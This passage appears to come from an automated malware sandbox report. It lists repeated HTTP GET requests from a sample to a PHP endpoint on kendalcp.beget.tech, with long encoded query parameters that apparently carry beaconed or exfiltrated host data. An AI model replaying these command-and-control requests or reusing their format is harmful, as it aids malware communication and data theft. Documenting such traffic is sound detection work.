ZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMl2YtJGcChlWshnMVl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSplkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlW